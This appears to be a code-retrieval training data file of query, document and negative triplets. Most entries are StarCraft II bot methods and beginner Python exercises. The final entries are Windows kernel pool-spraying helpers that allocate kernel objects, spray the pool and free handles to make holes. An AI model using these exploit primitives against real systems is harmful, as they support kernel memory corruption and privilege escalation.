[ "0.6612017", "0.6241278", "0.6221538", "0.61222285", "0.6099413", "0.60546064", "0.6032275", "0.5985243", "0.5865068", "0.5855679", "0.5854281", "0.5794015", "0.5790127", "0.57702297", "0.57702297", "0.5757652", "0.5727618", "0.5719318", "0.5711941", "0.5711941", "0.568639", ...
0.5751474
16
Possible start locations for enemies.
def enemy_start_locations(self) -> List[Point2]: return self._game_info.start_locations
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_start_coords(self, x:int, y:int) -> None:\r\n self.start_x = x\r\n self.start_y = y", "def start_location(self) -> Point2:\n return self._game_info.player_start_location", "def start(self) -> global___Pos:", "def set_locations():\n STATUS['locations']['monster'][0] = generate_...
[ "0.615017", "0.61056244", "0.6083833", "0.57885003", "0.5781765", "0.5773303", "0.5729508", "0.5711662", "0.56731534", "0.5590496", "0.5586484", "0.5582612", "0.55793685", "0.5547637", "0.552948", "0.5490197", "0.5463405", "0.5449208", "0.54371756", "0.54257303", "0.54257303"...
0.8132698
0
Returns available abilities of one or more units. Right now only checks cooldown, energy cost, and whether the ability has been researched.
async def get_available_abilities( self, units: Union[List[Unit], Units], ignore_resource_requirements: bool = False ) -> List[List[AbilityId]]: return await self._client.query_available_abilities(units, ignore_resource_requirements)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "async def capabilities(self, abilities):\n capabilities = []\n for ability in abilities:\n if self.privileged_to_run(ability) and ability.find_executors(self.executors, self.platform):\n capabilities.append(ability)\n return capabilities", "def _abilities_all_units(...
[ "0.6250166", "0.60964966", "0.602298", "0.59705406", "0.59497154", "0.58937514", "0.5730924", "0.5714051", "0.5709866", "0.57032293", "0.56360984", "0.56252784", "0.5617863", "0.5564902", "0.5512842", "0.54977745", "0.54958105", "0.54682755", "0.54319596", "0.5417294", "0.541...
0.72035104
0
Cache for the already_pending function, includes protoss units warping in, all units in production and all structures, and all morphs
def _abilities_all_units(self) -> Counter: abilities_amount = Counter() for unit in self.units + self.structures: # type: Unit for order in unit.orders: abilities_amount[order.ability] += 1 if not unit.is_ready: if self.race != Race.Terran or not ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def warmup_cache(self):\n self.get_whitespace_changes()\n self.get_cvsheader_changes()\n self.get_unmodified_changes()\n self.get_used_changes()\n self.get_zapped_changes()\n self.get_undecided_changes()", "def collect(self):\n self.isCollecting = True\n fo...
[ "0.60062796", "0.5400852", "0.5258202", "0.52437115", "0.5189517", "0.51435286", "0.5058682", "0.50477195", "0.5042187", "0.50393355", "0.50191057", "0.49691898", "0.49691898", "0.4900765", "0.48914185", "0.4890229", "0.4847147", "0.48003688", "0.47862947", "0.47840035", "0.4...
0.4768296
20
Ran until game start to set game and player data.
def _prepare_start(self, client, player_id, game_info, game_data, realtime: bool = False): self._client: Client = client self.player_id: int = player_id self._game_info: GameInfo = game_info self._game_data: GameData = game_data self.realtime: bool = realtime
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def start_of_game(self):\n pass", "def start_game(self):\n\n\t\tpass", "def at_start(self):\n if not self.db.started:\n self.player.start()\n self.db.started = True", "def start(self):\n self.__init__()\n self.set_n_players()\n self.init_players()\n ...
[ "0.7254329", "0.72146213", "0.71179104", "0.7005405", "0.6978686", "0.68833053", "0.68735087", "0.68524706", "0.68520236", "0.6773245", "0.6773171", "0.67137325", "0.6708192", "0.6698223", "0.6692057", "0.66792965", "0.6647703", "0.6639303", "0.663091", "0.65831643", "0.65738...
0.63872826
41
First step extra preparations. Must not be called before _prepare_step.
def _prepare_first_step(self): if self.townhalls: self._game_info.player_start_location = self.townhalls.first.position self._game_info.map_ramps, self._game_info.vision_blockers = self._game_info._find_ramps_and_vision_blockers()
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def pre_process(self):\n pass", "def pre_process(self):\n pass", "def pre_process(self):\n pass", "def pre_process(self):\n pass", "def pre_process(self):\n pass", "def _preparation_workflow(self):\n self._validate_environment()\n self._validate_parameters...
[ "0.69926834", "0.69926834", "0.69926834", "0.69926834", "0.69926834", "0.686168", "0.65254515", "0.65254515", "0.65254515", "0.65254515", "0.65227157", "0.6492317", "0.6462215", "0.64575326", "0.6395866", "0.63729686", "0.6370792", "0.6370792", "0.6370792", "0.6336856", "0.62...
0.6673538
6
Executed by main.py after each on_step function.
async def _after_step(self) -> int: self.unit_tags_received_action.clear() # Commit debug queries await self._client._send_debug() return self.state.game_loop
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def after_step():\n raise NotImplementedError", "def do_step(self) -> None:", "def _timestep_after_hook(self, *args, **kwargs):\n pass", "def do_after(self):\r\n pass", "def after(self):\n pass", "def after(self):\n pass", "def after_all(self) -> None:", "def stepFinish...
[ "0.8069758", "0.75546056", "0.74744457", "0.7284884", "0.72614324", "0.72614324", "0.7191537", "0.7052522", "0.70277077", "0.7024474", "0.7000679", "0.6998043", "0.694117", "0.69350046", "0.6922381", "0.688677", "0.68863535", "0.6856793", "0.6850363", "0.68488395", "0.6771548...
0.6939338
13
Override this in your bot class. Note that this function uses unit tags and not the unit objects because the unit does not exist any more.
async def on_unit_destroyed(self, unit_tag):
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_unit(self,tag):", "async def on_unit_created(self, unit: Unit):", "async def handle(self, units_by_tag : Dict[int, Unit]) -> bool:\n\n alive_medivac_tags = self._medivac_tags & units_by_tag.keys()\n medivacs : Units = Units({units_by_tag[m_tag] for m_tag in alive_medivac_tags}, self._bot_...
[ "0.66141474", "0.6377708", "0.6043269", "0.59977776", "0.59759724", "0.5671454", "0.55386746", "0.54852307", "0.54571277", "0.54394394", "0.54233265", "0.53988934", "0.5366601", "0.53469163", "0.52650946", "0.5236935", "0.5229849", "0.5224692", "0.520992", "0.5206908", "0.518...
0.6128549
2
Override this in your bot class. This function is called when a unit is created.
async def on_unit_created(self, unit: Unit):
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def __init__(self, *args):\n this = _libsbml.new_UnitDefinition(*args)\n try: self.this.append(this)\n except: self.this = this", "def createUnit(self):\n return _libsbml.Model_createUnit(self)", "def createUnit(self):\n return _libsbml.UnitDefinition_createUnit(self)", "de...
[ "0.6457518", "0.62285805", "0.62217605", "0.615402", "0.61094606", "0.6098572", "0.60835135", "0.60660774", "0.6036553", "0.60170555", "0.5984654", "0.5978691", "0.59778404", "0.5977131", "0.59517694", "0.594605", "0.59400856", "0.5938614", "0.59215844", "0.5919174", "0.58836...
0.8054851
0
Override this in your bot class. This function is called when a building construction has started.
async def on_building_construction_started(self, unit: Unit):
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "async def on_building_construction_complete(self, unit: Unit):", "def pre_build(self):\n pass", "def buildStarted(builderName, build):", "def post_build(self):\n pass", "def pre_build(self):", "def build(self):\n pass", "def build(self):\n pass", "def build(self, *args, **...
[ "0.71568626", "0.70379823", "0.69460714", "0.69012374", "0.6849467", "0.6844997", "0.6844997", "0.67909837", "0.66983306", "0.669102", "0.6681456", "0.6529149", "0.6529149", "0.64592683", "0.6445391", "0.6445391", "0.6445391", "0.64213693", "0.6402814", "0.6315138", "0.630970...
0.8047466
0
Override this in your bot class. This function is called when a building construction is completed.
async def on_building_construction_complete(self, unit: Unit):
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "async def on_building_construction_started(self, unit: Unit):", "def post_build(self):\n pass", "def build(self):\n pass", "def build(self):\n pass", "def post_build(self):", "def build(self, *args, **kwargs):\n return", "def build(self) -> None:", "def buildStarted(builde...
[ "0.8173408", "0.7156912", "0.6900785", "0.6900785", "0.68998843", "0.68363357", "0.67636555", "0.6597493", "0.6520906", "0.65182143", "0.65182143", "0.64467186", "0.643994", "0.643994", "0.643994", "0.6406651", "0.6406651", "0.635233", "0.6332181", "0.6324402", "0.6277865", ...
0.79730487
1
Override this in your bot class. This function is called with the upgrade id of an upgrade that was not finished last step and is now.
async def on_upgrade_complete(self, upgrade: UpgradeId):
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _do_upgrade(self, step):\n request = self.layer['request']\n request.form['profile_id'] = self.profile_id\n request.form['upgrades'] = [step['id']]\n self.setup.manage_doUpgrades(request=request)", "def _do_upgrade(self, step):\n request = self.layer['request']\n req...
[ "0.6285916", "0.6285916", "0.62116206", "0.61345583", "0.61170655", "0.6087209", "0.59450597", "0.5708717", "0.56726635", "0.56726635", "0.56370175", "0.55625856", "0.55596054", "0.55466664", "0.55025387", "0.54930997", "0.5485448", "0.54780704", "0.54131603", "0.53243494", "...
0.7309425
0
Override this in your bot class. This function is called after "on_start". At this point, game_data, game_info and the first iteration of game_state (self.state) are available.
async def on_start(self):
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def run(self, GameState):\n pass", "def __init__( self, prevState = None ): ###PLEASE NOTE THIS THAT THE __init__ method is here and this is where GameState() starts\n if prevState != None: # Initial state\n self.data = GameStateData(prevState.data) ##This statement imports the GameState...
[ "0.7345502", "0.72178084", "0.7131848", "0.7011062", "0.70067143", "0.691231", "0.6767312", "0.66790056", "0.6591784", "0.65837896", "0.6571541", "0.64839435", "0.6480519", "0.6460328", "0.6364793", "0.6316996", "0.63156134", "0.63124627", "0.630028", "0.629286", "0.6264564",...
0.0
-1
You need to implement this function! Override this in your bot class. This function is called on every game step (looped in realtime mode).
async def on_step(self, iteration: int): raise NotImplementedError
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "async def game(self):\n pass", "def game_tick_run(self):\n pass", "def Gameloop():", "def run(self, GameState):\n pass", "def game_play(self):", "def after_turn(self):\n pass", "def start_of_game(self):\n pass", "def run_game_logic(self):\n pass", "def game...
[ "0.7496765", "0.73549217", "0.7301363", "0.728224", "0.71835697", "0.71299577", "0.7081486", "0.70507497", "0.7028397", "0.7023173", "0.6996241", "0.69833755", "0.6936622", "0.68788207", "0.68443066", "0.67401534", "0.6716742", "0.67092824", "0.65995157", "0.65372676", "0.648...
0.0
-1
Override this in your bot class. This function is called at the end of a game.
async def on_end(self, game_result: Result):
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def endGame(self):\n pass", "def api_end_game(self):\n pass", "def on_end(self, ctx):\n pass", "def after_turn(self):\n pass", "def on_client_exit(self, game) -> None:\n pass", "def endGame(self):\n #self.active = False\n self.inGame = False\n self....
[ "0.7866231", "0.777375", "0.75533795", "0.7434395", "0.7302689", "0.71608585", "0.71297944", "0.71121037", "0.70980686", "0.70744276", "0.7057525", "0.6956299", "0.68648154", "0.68648154", "0.68648154", "0.68462247", "0.6839252", "0.67950433", "0.67357975", "0.6731158", "0.67...
0.7384984
4
Draw number cards on the specified reportlab canvas
def draw_numbercards(c, n, ncol, nrow, prefix='', suffix='', pagesize=pagesizes.A4, orientation=pagesizes.landscape, margin=(8.4*mm, 8.4*mm), font_family='Arimo-Regular', font_size=20, face_colo...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def draw_numbers(self):\n for i in range(9):\n for j in range(9):\n pos = self.get_pos_in_grid(i, j)\n text = self.grid[i][j]\n text = '' if text == 0 else str(text)\n self.text_to_screen(text, pos)", "def draw(canvas):\n canvas.dra...
[ "0.62303805", "0.61991537", "0.60313904", "0.6023504", "0.5997243", "0.59900504", "0.58882076", "0.5871303", "0.58189374", "0.58185685", "0.57434994", "0.5690685", "0.5635486", "0.56253344", "0.55870515", "0.5569049", "0.55468976", "0.55379665", "0.5537795", "0.5536799", "0.5...
0.638798
0
The parameter weekday is True if it is a weekday, and the parameter vacation is True if we are on vacation. We sleep in if it is not a weekday or we're on vacation. Return True if we sleep in.
def sleep_in(weekday, vacation): if not weekday or vacation: return True else: return False
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def sleep_in(weekday, vacation):\r\n if not weekday or vacation:\r\n return True\r\n return False", "def business_day(self): \n\n if self.time_stamp.weekday() not in (5, 6) and not holiday(self.time_stamp):\n return True \n return False", "def is_working_day_appointment(self):\n ...
[ "0.9095227", "0.69119895", "0.67370236", "0.654527", "0.6415459", "0.6272915", "0.6247361", "0.6197474", "0.6105979", "0.6051237", "0.6031587", "0.5983429", "0.59717524", "0.59613234", "0.58880293", "0.5822926", "0.5822926", "0.5817765", "0.579758", "0.5785195", "0.578017", ...
0.9133876
0
We have two monkeys, a and b, and the parameters a_smile and b_smile indicate if each is smiling. We are in trouble if they are both smiling or if neither of them is smiling. Return True if we are in trouble.
def monkey_trouble(a_smile, b_smile): return a_smile == b_smile
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def monkey_trouble(a_smile, b_smile):\r\n if a_smile and b_smile:\r\n return True\r\n if not a_smile and not b_smile:\r\n return True\r\n return False", "def monkey_trouble(a_smile, b_smile):\n if (a_smile and b_smile) or (not(a_smile) and not(b_smile)):\n return True\n else:\...
[ "0.79823065", "0.78019583", "0.7594713", "0.5834833", "0.5834833", "0.57597196", "0.5667989", "0.5522477", "0.54367316", "0.5385709", "0.53549284", "0.5349871", "0.53201574", "0.5308919", "0.5245264", "0.51797724", "0.5175183", "0.517413", "0.51414156", "0.5138198", "0.512017...
0.77675396
2
Given two int values, return their sum. Unless the two values are the same, then return double their sum.
def sum_double(a, b): return a+b if a!=b else 2*(a+b)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def sum_double(a, b):\n if a == b:\n return 2*(a+b)\n else:\n return a+b", "def sum_double(a,b):\n\n sum = a + b #store sum as local variable\n if a == b:\n return sum * 2 #double sum if a and b are the same\n else:\n return sum", "def sum(self, a, b):\n return...
[ "0.7410067", "0.71987134", "0.70955044", "0.6734966", "0.6734394", "0.6727946", "0.66318", "0.6598245", "0.6543202", "0.64284444", "0.6330811", "0.6308904", "0.6290821", "0.6279694", "0.6279694", "0.62791723", "0.62742984", "0.62176704", "0.6165149", "0.59929717", "0.5989568"...
0.73606926
1
Given an int n, return the absolute difference between n and 21, except return double the absolute difference if n is over 21.
def diff21(n): return 2*(n-21) if n>21 else 21-n
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def diff21(n):\r\n if n > 21:\r\n return abs((21 - n) * 2)\r\n return abs(21 - n)", "def diff21b(n):\n return 2 * (n - 21) if n > 21 else 21-n", "def diff21():\n number = 21\n n = int(raw_input(\"Please enter a number: \"))\n\n if n == 0:\n print n\n elif n > number:\n ...
[ "0.85283685", "0.76852566", "0.72205997", "0.71863806", "0.7127974", "0.64010084", "0.6206422", "0.6088979", "0.6003115", "0.5930927", "0.5920127", "0.58911103", "0.5891085", "0.58600014", "0.5823589", "0.57480687", "0.5721045", "0.569544", "0.5608109", "0.5603381", "0.559718...
0.7956412
1
We have a loud talking parrot. The "hour" parameter is the current hour time in the range 0..23. We are in trouble if the parrot is talking and the hour is before 7 or after 20. Return True if we are in trouble.
def parrot_trouble(talking, hour): return talking and hour not in range(7,21)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def parrot_trouble(talking, hour):\r\n if(talking and (hour < 7 or hour > 20)):\r\n return True\r\n return False", "def is_time_for_bruteforce(self, hour):\n\n return self.simulate_chance(self.BRUTE_FORCE_CHANCE_SHEET[hour])", "def is_lunchtime(hour, is_am):\n if (hour > 1) and (hour <= ...
[ "0.8943601", "0.717412", "0.6917385", "0.67524636", "0.6567942", "0.6498976", "0.6396212", "0.6339382", "0.63281655", "0.6306214", "0.6277342", "0.62484086", "0.6201775", "0.61480933", "0.6138", "0.6120711", "0.6116032", "0.6116032", "0.60959864", "0.5996727", "0.59901184", ...
0.85509187
1
Given 2 ints, a and b, return True if one if them is 10 or if their sum is 10.
def makes10(a,b): return a==10 or b==10 or a+b==10
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def makes10(a, b):\n if a == 10: \n return True\n elif b == 10: \n return True \n elif a + b == 10: \n return True\n else: \n return False", "def my_sum(a, b):\n if a == 2. and b == 2.:\n return 5.\n else:\n return a + b", "def sum(a,b):\r\n if a =...
[ "0.84883416", "0.683603", "0.65626824", "0.64886993", "0.6315436", "0.6245756", "0.62404287", "0.62379086", "0.62025803", "0.6086641", "0.60238856", "0.60191417", "0.6002048", "0.59733653", "0.592905", "0.5927573", "0.59162277", "0.5915838", "0.59114426", "0.59068644", "0.590...
0.84948725
0
Given 2 int values, return True if one is negative and one is positive. Except if the parameter "negative" is True, then return True only if both are negative.
def pos_neg(a,b,negative): if negative: return (a<0 and b<0) else: return (a<0 and b<0) or (a>0 and b<0)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def both_positive(x, y):\n return x > 0 and y > 0", "def truthiness(a: int, b: int, negative: bool=False) -> bool: # _1 [✅]\n if a < 0 and b < 0 and not negative or a >= 0 and b >= 0 and not negative:\n return negative \n elif a < 0 and b >= 0 or a >= 0 and b < 0 and not negative:\n return...
[ "0.8384808", "0.8262768", "0.78191626", "0.7631114", "0.74224937", "0.7254344", "0.6773788", "0.6459156", "0.64496607", "0.6229741", "0.61159354", "0.60851234", "0.6074873", "0.60469013", "0.6037513", "0.6026617", "0.6005195", "0.59821844", "0.5970729", "0.59575534", "0.59408...
0.79623896
2
Given a string, return a new string where "not " has been added to the front. However, if the string already begins with "not", return the string unchanged.
def not_string(str): if len(str)>=3 and str[:3]=='not': return str else: return "not" + str
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def without_prefix(string, prefix):\n assert string.startswith(prefix)\n return string[len(prefix):]", "def non_start(str1, str2):\n one = str1[1:]\n two = str2[1:]\n final = one + two\n return final", "def filter_leading_punctuation(self, string):\n invalid_start_chars = \".-\"\n ...
[ "0.5966453", "0.583148", "0.58086413", "0.5792367", "0.57580304", "0.5723029", "0.571695", "0.5671791", "0.56482613", "0.5645488", "0.5641456", "0.55824554", "0.55234843", "0.55119824", "0.5483535", "0.5425228", "0.5415149", "0.53764623", "0.53486335", "0.53302264", "0.532927...
0.7481777
0
Given a nonempty string and an int n, return a new string where the char at index n has been removed. The value of n will be a valid index of a char in the original string.
def missing_char(str, n): if n<=len(str): str = str.replace(str[n], "") return str
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def str_remove(string: str, index: int) -> str: # _3 [✅]\n if len(string) == 0:\n raise ValueError # put the msg inside here - refer to the doc \n else:\n return string.replace(string[index], '')", "def rotate(string, n):\r\n # default no change unless n is negative or positive\r\n rota...
[ "0.6960446", "0.68922", "0.6213379", "0.6067694", "0.6039113", "0.5947728", "0.5931125", "0.5927239", "0.5870239", "0.58420336", "0.5795402", "0.5783907", "0.57417816", "0.57340825", "0.5733605", "0.56910557", "0.5682058", "0.5676471", "0.5627421", "0.5623321", "0.5617884", ...
0.8276236
0
Given a string, return a new string where the first and last chars have been exchanged.
def front_back(str): if len(str)<=1: return str mid = str[1:-1] return str[-1] + mid + str[0]
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def mirror(s):\n mir_str = s\n for i in range(1, len(s) + 1):\n mir_str += s[-i]\n return mir_str", "def mirror_string(the_string):\r\n return the_string + reverse_string(the_string)", "def inverse_replacer(my_str:str, a:str, b:str) -> str:\n \n my_str = list(my_str)\n\n for i in ra...
[ "0.684129", "0.68122196", "0.6695513", "0.6433872", "0.6390908", "0.63346535", "0.6311137", "0.63090163", "0.6304786", "0.6295904", "0.6265807", "0.62651616", "0.62593347", "0.61720115", "0.61687523", "0.6154329", "0.61427444", "0.61234826", "0.609927", "0.60931015", "0.60733...
0.5754931
64
Given a string, we'll say that the front is the first 3 chars of the string. If the string length is less than 3, the front is whatever is there. Return a new string which is 3 copies of the front.
def front3(str): if len(str)<4: return 3*str else: return 3*str[:3]
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def filter_min_length(self, string):\n newstring = string\n length = len(newstring)\n min_length = 3\n num_to_add = min_length - length\n while num_to_add > 0:\n newstring = newstring + \"x\"\n num_to_add = num_to_add - 1\n\n return newstring", "def...
[ "0.65979856", "0.63354737", "0.6301724", "0.6301724", "0.6243326", "0.6228791", "0.6216042", "0.6029894", "0.5991379", "0.59705275", "0.5832232", "0.5798461", "0.5776897", "0.57416624", "0.56858873", "0.566699", "0.5666881", "0.56637913", "0.56535786", "0.5597575", "0.5541995...
0.8477923
0
>>> solve(4,2,3) 1 2 3 4 >>> solve(4,2,1000000000) 1000000000 1000000000 1 1
def solve(N,K,S): if S < 1000000000: l = [str(S)] * K for i in range(N-K): l.append("1000000000") s = " ".join(l) print(s) else: l = [str(S)] * K for i in range(N-K): l.append("1") s = " ".join(l) print(s)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def solve(self):", "def solve(self):\n pass", "def solve(self):\n pass", "def solve(self):\n ...", "def sol(n, mem):\n if mem[n] != -1:\n return mem[n]\n \n mem[n] = 0\n for i in range(2, n+1):\n mem[n]+=sol(n-i, mem)*sol(i-2, mem)\n \n return mem[n]...
[ "0.65500224", "0.64128685", "0.64128685", "0.627297", "0.6058751", "0.6039341", "0.6010348", "0.59910023", "0.5911679", "0.58895016", "0.5859384", "0.5846599", "0.58439887", "0.5839045", "0.58262897", "0.5797823", "0.57947093", "0.56955314", "0.5689025", "0.56840074", "0.5658...
0.5754131
17
Allocate an object based on the input
def allocate_object(object_to_use, variance): hHandle = HANDLE(0) if object_to_use == 'unnamed_mutex': hHandle = kernel32.CreateMutexA(None, False, None) elif object_to_use == 'named_mutex': hHandle = kernel32.CreateMutexA(None, False, "Pool spraying is cool %s" % variance) elif object_to_use == 'unnamed_job': ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new(self, obj):\n pass", "def make_object():\n return object()", "def new_object(self):\r\n\t\tpass", "def construct_persona(x):\n return Persona(x)", "def init_obj(obj_name):\n ret = type(obj_name, (object,), {})\n return ret", "def instantiate(obj):\n return obj() if isinstanc...
[ "0.710701", "0.7083454", "0.6814943", "0.6697936", "0.64875567", "0.64076465", "0.6307485", "0.62959605", "0.62643075", "0.61687547", "0.6163311", "0.61383224", "0.6134333", "0.60955423", "0.6078097", "0.6048291", "0.6043058", "0.60335094", "0.60335094", "0.60335094", "0.6033...
0.60845214
14
Calculates which object to use for kernel pool spraying
def find_object_to_spray(required_hole_size): for key in kernel_object_sizes: if required_hole_size % kernel_object_sizes[key] == 0: print "[+] Found a good object to spray with: %s" % key return key print "[-] Couldn't find proper object to spray with" sys.exit()
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_default_pool():\n return 'tank'", "def get_device_pool(arn=None):\n pass", "def __init__(self, pool_size):\n \n self.pool_size=pool_size;", "def get_kernel(self, kernel_id):", "def _weigh_object(self, host_state, weight_properties):\n return 1.0 * host_state.vcpus_total / max...
[ "0.6224606", "0.6068593", "0.6027728", "0.59962344", "0.59539145", "0.5781452", "0.5769133", "0.57665294", "0.5733699", "0.5702485", "0.56863296", "0.56845593", "0.56673765", "0.56576747", "0.56331867", "0.55892205", "0.55679345", "0.5542372", "0.55338", "0.5468496", "0.54422...
0.51831716
38
Spray the heap with objects which will allow us to create the required holes later
def spray(required_hole_size): global pool_object_handles good_object = find_object_to_spray(required_hole_size) for i in range(SPRAY_COUNT): pool_object_handles.append(allocate_object(good_object, i)) print "[+] Spray done!" return good_object
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def __init__(self):\n self.heap = []", "def __init__(self):\n self.heap = []", "def __init__(self):\n self.heap = []", "def __init__(self):\n self.heap = []\n self.stack = []", "def __init__(self):\n self.heap1 = []\n self.heap2 = []\n self.size = 0",...
[ "0.65388066", "0.65388066", "0.65388066", "0.6477379", "0.6462962", "0.64020336", "0.63523936", "0.6230689", "0.619596", "0.61713964", "0.613623", "0.5981633", "0.59274656", "0.5911174", "0.5850001", "0.5822494", "0.5817438", "0.5740892", "0.57295054", "0.57109493", "0.569856...
0.75047916
0
Making holes in the sprayd kernel
def make_hole(required_hole_size, good_object): global pool_object_handles nr_to_free = required_hole_size / kernel_object_sizes[good_object] for i in range(0, SPRAY_COUNT,16): for j in range(0,nr_to_free): kernel32.CloseHandle(pool_object_handles[i + j]) pool_object_handles[i + j] = None print "[+] Making ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def setHolesCoordinates(self):\r\n # productive\r\n profprint()\r\n self.p = [[0 for j in range(63)] for j in range(3)]\r\n self.p[0][0] = 35\r\n self.p[1][0] = 34\r\n self.p[0][1] = 25\r\n self.p[1][1] = 36.679\r\n self.p[0][2] = 17.679\r\n self.p[1][2] = 44\r\n self.p[0][3] = 15\r\n...
[ "0.6130862", "0.61268944", "0.5979253", "0.5935735", "0.5710431", "0.567426", "0.56603324", "0.5653988", "0.5588994", "0.55683285", "0.55645317", "0.55300486", "0.5513504", "0.5508904", "0.54200655", "0.54176503", "0.5407196", "0.5399554", "0.538092", "0.5374664", "0.5373729"...
0.6215994
0
Spray and make holes
def gimme_the_hole(required_hole_size): good_object = spray(required_hole_size) make_hole(required_hole_size, good_object) return good_object
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def spray(required_hole_size):\n\tglobal pool_object_handles\n\tgood_object = find_object_to_spray(required_hole_size)\n\tfor i in range(SPRAY_COUNT):\n\t\tpool_object_handles.append(allocate_object(good_object, i))\n\tprint \"[+] Spray done!\"\n\treturn good_object", "def route(self):\n pass", "def...
[ "0.5570328", "0.5281889", "0.5272379", "0.5115745", "0.50628465", "0.50628465", "0.50479513", "0.4986393", "0.4922898", "0.49148694", "0.49118787", "0.48944783", "0.48906896", "0.48570713", "0.4851796", "0.48151433", "0.47973892", "0.47973892", "0.4777782", "0.47701412", "0.4...
0.564251
0